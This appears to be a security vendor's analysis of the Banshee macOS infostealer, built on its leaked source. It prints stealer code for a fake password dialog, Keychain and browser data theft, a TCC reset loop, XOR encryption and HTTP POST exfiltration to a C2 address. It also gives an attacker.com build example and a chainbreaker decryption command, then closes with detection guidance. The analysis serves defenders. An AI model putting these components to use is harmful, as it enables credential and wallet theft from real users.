macOS Stealers: How Modern Infostealers Harvest Credentials
Source: vxunderground/MalwareSourceCode - MacOS.Stealer.Banshee.7z
macOS stealers have matured. Banshee, sold as MaaS for ~$3,000/month, demonstrates what a well-engineered stealer looks like in 2024. Written in Objective-C with native ARM64/x86_64 support, it's not a port from Windows malware - it's built for macOS from the ground up.
The core insight is simple: if you can phish the user's password, you can decrypt their entire Keychain offline. The fake "System Preferences" dialog isn't just credential theft - it's the key to everything macOS stores securely. Passwords, certificates, browser encryption keys, secure notes. One successful phish unlocks it all.
From there, Banshee is comprehensive: 8 browsers, system credentials, sensitive files from Desktop/Documents, Safari cookies, Apple Notes. It validates the phished password in real-time using dscl - ensuring the attacker receives working credentials, not typos.
The anti-analysis is standard: VM detection, debugger checks, CIS region exclusion (though the Russian language check is defined but never called - suggesting a variant or incomplete implementation). Exfiltration uses XOR encryption with the key transmitted alongside the data. Weak, but sufficient to evade basic signatures.
Key Characteristics:
| Attribute | Value |
|---|---|
| Target OS | macOS (10.14+) |
| Language | Objective-C |
| Architecture | Native ARM64/x86_64 |
| C2 Protocol | HTTP POST with JSON payload |
| Encryption | XOR with random 15-char key |
| Persistence | None (smash-and-grab) |
| Price | ~$3,000/month (MaaS) |
Attack Flow
Social Engineering Deep Dive
Password Phishing Mechanism
The password theft is the most critical component of Banshee's attack chain. Without a valid password, the stolen Keychain database is encrypted and unusable. The malware uses AppleScript via osascript to display a native-looking dialog:
1// Sources/System.m - getMacOSPassword2- (void)getMacOSPassword {3 NSString *username = NSUserName();4 for (int i = 0; i < 5; i++) {5 NSString *dialogCommand =6 @"osascript -e 'display dialog \"To launch the application, you need "7 @"to update the system settings \n\nPlease enter your password.\" with "8 @"title \"System Preferences\" with icon caution default answer \"\" "9 @"giving up after 30 with hidden answer'";10
Dialog Properties:
| Property | Value | Purpose |
|---|---|---|
title | "System Preferences" | Mimics legitimate macOS prompt |
with icon caution | Warning icon | Creates urgency |
default answer "" | Empty text field | Password input |
giving up after 30 | 30 second timeout | Auto-dismiss if ignored |
with hidden answer | Masked input | Hides password characters |
Social Engineering Text Analysis:
1"To launch the application, you need to update the system settings23Please enter your password."4
This message exploits several psychological triggers:
- Authority - Claims to be from "System Preferences"
- Urgency - Implies the app won't work without action
- Familiarity - macOS users are accustomed to password prompts
- Vagueness - "update system settings" is plausible but non-specific
Password Validation via Directory Services
The stolen password is validated in real-time using macOS Directory Services:
1// Sources/System.m - verifyPassword2- (BOOL)verifyPassword:(NSString *)username password:(NSString *)password {3 NSString *command =4 [NSString stringWithFormat:@"dscl /Local/Default -authonly %@ %@",5 username, password];6 NSString *result = [Tools exec:command];7 return result.length == 0; // Empty output = valid credentials8}9
Technical Details:
dscl(Directory Service Command Line) is a legitimate macOS utility/Local/Defaultspecifies the local directory node-authonlyperforms authentication without returning user data- Empty output indicates successful authentication
- Any output (error message) indicates failure
Why This Matters:
- Attacker receives only verified working credentials
- Reduces noise in stolen data
- Enables immediate account compromise
- Password can decrypt the Keychain offline
Retry Logic and User Experience
1// Sources/System.m - retry loop in getMacOSPassword2for (int i = 0; i < 5; i++) {3 // ... display dialog and parse password ...45 if ([self verifyPassword:username password:password]) {6 SYSTEM_PASS = password;7 DebugLog(@"Password saved successfully.");8 break;9 } else {10 DebugLog(@"Password verification failed.");11 }12}13
The 5-attempt loop is significant:
- Users often mistype passwords
- Multiple prompts don't appear suspicious (apps frequently re-request)
- Each attempt has a 30-second timeout
- Execution continues even if all attempts fail (other data still valuable)
Data Collection Deep Dive
Browser Data Theft Architecture
Banshee targets 8 browsers with profile-aware collection, meaning it steals data from all browser profiles (Default, Profile 1, Profile 2, etc.):
Chromium-Based Browsers (7 targets)
Firefox
Browser Profile Paths
1// Sources/Browsers.m - init2- (instancetype)init {3 self = [super init];4 if (self) {5 self.chromePath = @"/Google/Chrome";6 self.firefoxPath = @"/Firefox/Profiles";7 self.bravePath = @"/BraveSoftware/Brave-Browser";8 self.edgePath = @"/Microsoft Edge";9 self.vivaldiPath = @"/Vivaldi";10 self.yandexPath = @"/Yandex/YandexBrowser";11 self.operaPath = @"/com.operasoftware.Opera";12 self.operaGXPath = @"/com.operasoftware.OperaGX";13 }14 return self;15}16
All paths are relative to ~/Library/Application Support/.
Profile Discovery Logic
1// Sources/Browsers.m - getProfiles2- (NSArray<NSString *> *)getProfiles:(NSString *)browserPath3 browserName:(NSString *)browserName {4 NSMutableArray<NSString *> *profiles = [NSMutableArray array];5 // ... directory enumeration ...67 if ([browserName isEqualToString:@"Chrome"] ||8 [browserName isEqualToString:@"Brave"] || /* ... */) {9 // Chromium: look for "Default" or "Profile *" directories10 if ([entry isEqualToString:@"Default"] ||11 [entry hasPrefix:@"Profile "]) {12 [profiles addObject:[entry stringByAppendingString:@"/"]];13 }14 } else if ([browserName isEqualToString:@"Firefox"]) {15 // Firefox: look for "*.default-release" directories16 if ([entry containsString:@".default-release"]) {17 [profiles addObject:[entry stringByAppendingString:@"/"]];18 }19 }20}21
Stolen Browser Files - Technical Details
Chromium-Based Browsers:
| File | Format | Contents | Encryption |
|---|---|---|---|
Cookies | SQLite3 | Session cookies, authentication tokens | AES-256-GCM (Keychain) |
Login Data | SQLite3 | Saved usernames/passwords | AES-256-GCM (Keychain) |
History | SQLite3 | Browsing history, search terms | None |
Web Data | SQLite3 | Autofill data, credit cards | AES-256-GCM (Keychain) |
Firefox:
| File | Format | Contents | Encryption |
|---|---|---|---|
cookies.sqlite | SQLite3 | Session cookies | None |
logins.json | JSON | Encrypted credentials | 3DES-CBC (key4.db) |
places.sqlite | SQLite3 | History, bookmarks | None |
formhistory.sqlite | SQLite3 | Form autofill data | None |
key4.db | SQLite3 + NSS | Master key for logins.json | PBKDF2 + 3DES |
Critical Note: The stolen Chromium passwords are encrypted with a key stored in the macOS Keychain. This is why Banshee steals both the browser databases AND the Keychain - the attacker needs both to decrypt the passwords offline using the phished system password.
Keychain Database Theft
1// Sources/System.m - dumpKeychainPasswords2- (void)dumpKeychainPasswords {3 NSString *keychainPath = [NSHomeDirectory()4 stringByAppendingPathComponent:@"Library/Keychains/login.keychain-db"];5 [Tools copyFileToDirectory:keychainPath6 destinationDirectory:[TEMPORARY_PATH7 stringByAppendingPathComponent:@"Passwords"]];8}9
The login.keychain-db contains:
- Safari saved passwords
- WiFi network passwords
- Application passwords (Mail, Calendar, etc.)
- Certificates and private keys
- Secure notes
- Chrome Safe Storage key (the AES key for decrypting Chromium browser passwords)
The Chrome Safe Storage entry is particularly valuable - it's the key needed to decrypt Login Data from Chromium browsers. Banshee stealing both the Keychain and browser SQLite files gives attackers everything they need.
Decryption Chain:
The login.keychain-db is encrypted at rest using a key derived from your login password:
When you log into macOS, the system unlocks your Keychain automatically using your login password. If someone steals just the .keychain-db file without the password, they get an encrypted blob. This is why Banshee phishes the password first - it's not just for immediate account access, it's the decryption key for everything in the Keychain.
Offline Decryption with Chainbreaker:
For offline decryption, attackers use tools like chainbreaker. Given the keychain file and password, it extracts:
- Generic Passwords
- Internet Passwords
- Private Keys
- Public Keys
- X509 Certificates
- Secure Notes
- Appleshare Passwords
1# Attacker's workflow after exfiltration2chainbreaker -f stolen_keychain.keychain-db -p "phished_password"3
With a validated password from Banshee's dscl check, the attacker has everything required for immediate decryption.
File Grabber via AppleScript
The file grabber uses AppleScript executed via osascript to access files through Finder:
1set extensionsList to {"txt", "docx", "rtf", "doc", "wallet", "keys", "key"}23-- Gather desktop files4set desktopFiles to every file of desktop5repeat with aFile in desktopFiles6 set fileExtension to name extension of aFile7 if fileExtension is in extensionsList then8 set fileSize to size of aFile9 if fileSize < 51200 then -- 50KB limit10 duplicate aFile to folder fileGrabberFolderPath with replacing11 end if12 end if13end repeat1415-- Same for Documents folder16set documentsFiles to every file of folder "Documents" of (path to home folder)17-- ... same logic ...18
Target File Types:
| Extension | Typical Contents |
|---|---|
.txt | Seed phrases, passwords, notes |
.docx | Documents (may contain credentials) |
.rtf | Rich text documents |
.doc | Legacy Word documents |
.wallet | Wallet backup files |
.keys | Key files |
.key | Private key files |
Additional Targets:
1-- Safari cookies (path varies by macOS version)2if macOSVersion starts with "10.15" or macOSVersion starts with "10.14" then3 set safariFolder to (path to library folder) & "Safari:"4else5 set safariFolder to (path to library folder) &6 "Containers:com.apple.Safari:Data:Library:Cookies:"7end if8duplicate file "Cookies.binarycookies" of folder safariFolder910-- Apple Notes database11set sourceFilePath to homePath &12 "Library:Group Containers:group.com.apple.notes:NoteStore.sqlite"13duplicate file sourceFilePath to folder notesFolderPath14
Anti-Detection Features in AppleScript:
1-- Mute system sounds to hide file operation audio2do shell script "osascript -e 'set volume with output muted'"34-- ... file operations ...56-- Restore audio7do shell script "osascript -e 'set volume without output muted'"8
TCC Permission Bypass Attempts:
macOS uses Transparency, Consent, and Control (TCC) to protect sensitive user data. TCC is a privacy framework that requires explicit user consent before applications can access protected resources like:
- Contacts, Calendar, Reminders
- Photos, Camera, Microphone
- Full Disk Access
- Accessibility features
- Automation (AppleEvents) - which Banshee needs for its file grabber
TCC permissions are stored in a SQLite database (~/Library/Application Support/com.apple.TCC/TCC.db) and managed by the tccd daemon. The tccutil command-line tool can reset these permissions.
1// Sources/System.m - runAppleScriptWithPath2NSString *resetPermissions = @"do shell script \"tccutil reset AppleEvents\"";34for (int i = 0; i < 30; i++) {5 int req = [self executeAppleScript:appleScript];6 if (req != 0) {7 // Reset TCC permissions and retry - forces new permission prompt8 [self executeAppleScript:resetPermissions];9 sleep(1);10 continue;11 }12 break;13}14
What tccutil reset AppleEvents does:
- Clears all AppleEvents/Automation permissions for all applications
- Next AppleScript execution will trigger a fresh permission prompt
- Banshee hopes the user will click "Allow" on the new prompt
- Retries up to 30 times, giving the user multiple opportunities to grant access
Why this matters: On modern macOS (10.14+), the file grabber AppleScript will fail without Automation permission. By resetting and re-prompting, Banshee has 30 chances to get the user to click "OK" on the system permission dialog.
System Information Collection
1// Sources/System.m - collectSystemInfo2- (void)collectSystemInfo {3 NSString *data =4 [Tools exec:@"system_profiler SPSoftwareDataType SPHardwareDataType"];56 // Parse key-value pairs7 NSMutableDictionary *systemInfo = [NSMutableDictionary dictionary];8 // ... parsing logic ...910 // Add campaign tracking11 systemInfo[@"BUILD_ID"] = BUILD_ID;1213 // Fetch IP geolocation14 [self getIP:^(NSDictionary *ipInfo, NSError *error) {15 systemInfo[@"ip_info"] = ipInfo;16 systemInfo[@"system_os"] = @"macos";17 systemInfo[@"system_password"] = SYSTEM_PASS;1819 // Write to system_info.json20 NSData *jsonData = [NSJSONSerialization dataWithJSONObject:systemInfo ...];21 [jsonData writeToFile:filePath atomically:YES];22 }];23}24
Collected System Data:
| Field | Source | Purpose |
|---|---|---|
| Model Identifier | system_profiler | Hardware identification |
| Serial Number | system_profiler | Unique device ID |
| macOS Version | system_profiler | OS fingerprinting |
| Username | NSUserName() | Account identification |
| Public IP | freeipapi.com | Geolocation |
| IP Details | ipify.org | Secondary IP source |
| BUILD_ID | Hardcoded | Campaign tracking |
| system_password | Phished | Stolen credentials |
Data Staging Structure
All stolen data is organized in a temporary directory:
1$TMPDIR/<25_random_chars>/2|-- Browsers/3| |-- Chrome_Default/4| | |-- Cookies/5| | |-- Passwords/6| | |-- History/7| | |-- Autofills/8| | |-- Extensions/9| | |-- nkbihfbeogaeaoehlefnkodbefgpgknn/ (MetaMask)10| | |-- bfnaelmomeimhlpmgjnjophhpkkoljpa/ (Phantom)11| |-- Firefox_xxxxxxxx.default-release/12| | |-- Cookies/13| | |-- Passwords/14| | |-- Local State/ (key4.db)15|-- Wallets/16| |-- Exodus/17| |-- electrum/18| |-- Coinomi/19|-- Passwords/20| |-- login.keychain-db21|-- FileGrabber/22| |-- Cookies.binarycookies23| |-- document.docx24| |-- seed_phrase.txt25|-- Notes/26| |-- NoteStore.sqlite27|-- system_info.json28
Exfiltration Protocol
Compression
1// Sources/Tools.m - compressFolder2+ (int)compressFolder:(NSString *)folderPath {3 NSString *command =4 [NSString stringWithFormat:@"ditto -c -k %@ %@.zip --norsrc --noextattr",5 folderPath, folderPath];6 return system([command UTF8String]);7}8
ditto flags:
-c- Create archive-k- PKZip format--norsrc- Don't preserve resource forks--noextattr- Don't preserve extended attributes
XOR Encryption
1// Sources/Tools.m - xorEncryptDecrypt2+ (NSMutableData *)xorEncryptDecrypt:(NSMutableData *)data key:(NSString *)key {3 NSUInteger dataLength = [data length];4 NSUInteger keyLength = [key length];5 unsigned char *dataPtr = (unsigned char *)[data mutableBytes];6 const char *keyPtr = [key UTF8String];78 for (NSUInteger i = 0; i < dataLength; i++) {9 dataPtr[i] ^= keyPtr[i % keyLength];10 }11 return data;12}13
Weakness: XOR encryption is trivially reversible. The key is transmitted alongside the encrypted data, making this purely an anti-signature measure, not real encryption.
C2 Protocol
1// Sources/Sender.m - sendData2NSDictionary *jsonData = @{3 @"data" : [NSString stringWithFormat:@"%@:%@:%@",4 base64EncodedZipData, // Encrypted ZIP5 key, // XOR key (15 chars)6 folderName] // Staging folder name7};8
HTTP Request:
1POST /send/ HTTP/1.12Host: 45.xxx.xxx.923Content-Type: application/json45{"data":"<base64_xor_encrypted_zip>:<15_char_key>:<folder_name>"}6
Server-Side Decryption (Pseudocode):
1data = json.loads(request.body)2parts = data['data'].split(':')3encrypted_b64 = parts[0]4xor_key = parts[1]5folder_name = parts[2]67encrypted = base64.b64decode(encrypted_b64)8decrypted = bytes([b ^ ord(xor_key[i % len(xor_key)]) for i, b in enumerate(encrypted)])9# decrypted is now the ZIP file10
Configuration (globals.h)
1// Headers/globals.h - compile-time configuration2#define BUILD_ID @"T0JVJJy6tgNdmygyRfN0eRaIiZq2uw" // Campaign/affiliate ID3#define ENCRYPTION_KEY @"rt" // Passed to child process4#define REMOTE_IP @"http://45.1d42.1d22.92/send/" // C2 endpoint5
Compile-Time Customization:
1# Build with custom C22clang ... -DCUSTOM_REMOTE_IP="http://attacker.com/receive/"34# Build with custom campaign ID5clang ... -DCUSTOM_BUILD_ID="affiliate_xyz"6
Behavioral Detection Opportunities
The most reliable detection points focus on the unique behavioral patterns rather than individual API calls:
Password Dialog Phishing
osascriptspawning a password prompt with "System Preferences" titledscl /Local/Default -authonlycommand execution (password validation)- Multiple password dialogs in quick succession (retry behavior)
- Dialog text containing "update the system settings"
TCC Manipulation
tccutil reset AppleEventsexecution- Repeated AppleScript execution failures followed by TCC reset
- Process requesting Automation permissions multiple times
Anti-Forensics
killall Terminalimmediately after process spawn- Self-launching process with
run_controllerargument - Bulk deletion of temp directories after network activity
Network Exfiltration Pattern
- HTTP POST to
/send/endpoint - JSON payload with colon-delimited base64 data
- Connections to
freeipapi.comandapi.ipify.orgfollowed by large outbound POST
MITRE ATT&CK Mapping
| ID | Technique | Sub-Technique | Implementation |
|---|---|---|---|
| T1059.002 | Command and Scripting Interpreter | AppleScript | File grabber, audio muting, permission reset |
| T1059.004 | Command and Scripting Interpreter | Unix Shell | Command execution via /bin/sh -c |
| T1555.001 | Credentials from Password Stores | Keychain | login.keychain-db theft |
| T1555.003 | Credentials from Password Stores | Credentials from Web Browsers | Browser profile theft |
| T1539 | Steal Web Session Cookie | - | Cookie database theft |
| T1056.002 | Input Capture | GUI Input Capture | Fake password dialog |
| T1082 | System Information Discovery | - | system_profiler |
| T1016 | System Network Configuration Discovery | - | IP geolocation APIs |
| T1497.001 | Virtualization/Sandbox Evasion | System Checks | VM/debugger detection |
| T1027 | Obfuscated Files or Information | - | XOR encryption |
| T1041 | Exfiltration Over C2 Channel | - | HTTP POST to C2 |
| T1560.001 | Archive Collected Data | Archive via Utility | ditto compression |
| T1070.004 | Indicator Removal | File Deletion | Cleanup of staging |
| T1106 | Native API | - | Objective-C runtime, Foundation framework |
What This Means for Detection
Banshee's smash-and-grab model creates a fundamental detection problem. No persistence. Fast exfiltration. By the time you notice something's wrong, the data is already in an underground market.
Behavioral detection at the endpoint - monitoring for osascript password dialogs, TCC manipulation, bulk file enumeration - only works if you catch the infection in progress. The next variant changes the IOCs. The hardcoded C2 becomes a new IP. The staging path changes from tempFolder-32555443 to something else. The behavioral signatures that worked yesterday don't work tomorrow.
But the stolen credentials still need to be used.
This is where early warning honey tokens change the equation. Plant monitored credentials in the locations Banshee targets: browser password stores, Keychain entries, configuration files on Desktop/Documents. When Banshee exfiltrates them alongside legitimate credentials, the tokens enter the same underground markets.
Threat actors searching infostealer logs find your tokens mixed with real stolen credentials. They cannot distinguish them during enumeration. When they validate a token to check if it works before operational use - immediate alert, and you know exactly which asset that token was deployed on in seconds.
Stealers like Banshee are the harvesting mechanism. The real threat is downstream - when stolen credentials get used. Detect there, and the sophistication of the stealer stops mattering.
Want more insights like this?
Related Articles
Field Notes on Malware: The Evolution of C2 Evasion and What It Means for Detection
While malware developers continue using BOFs, shellcode, and sleep obfuscation, a capability researched and published almost 2 years ago has surprisingly not gained traction. Understanding these techniques is critical for defenders.
Early Warning Detection for Credential Theft: Why Behavioral Analysis Fails
57% of breaches discovered externally. Infostealer credentials evade EDR for years. Early warning honey tokens detect validation before lateral movement.
Modern Adversary TTPs: The Rise of 'Read Teaming'
An insider's perspective on why current security products fail to stop modern red teams and sophisticated attackers, and what security teams need to know.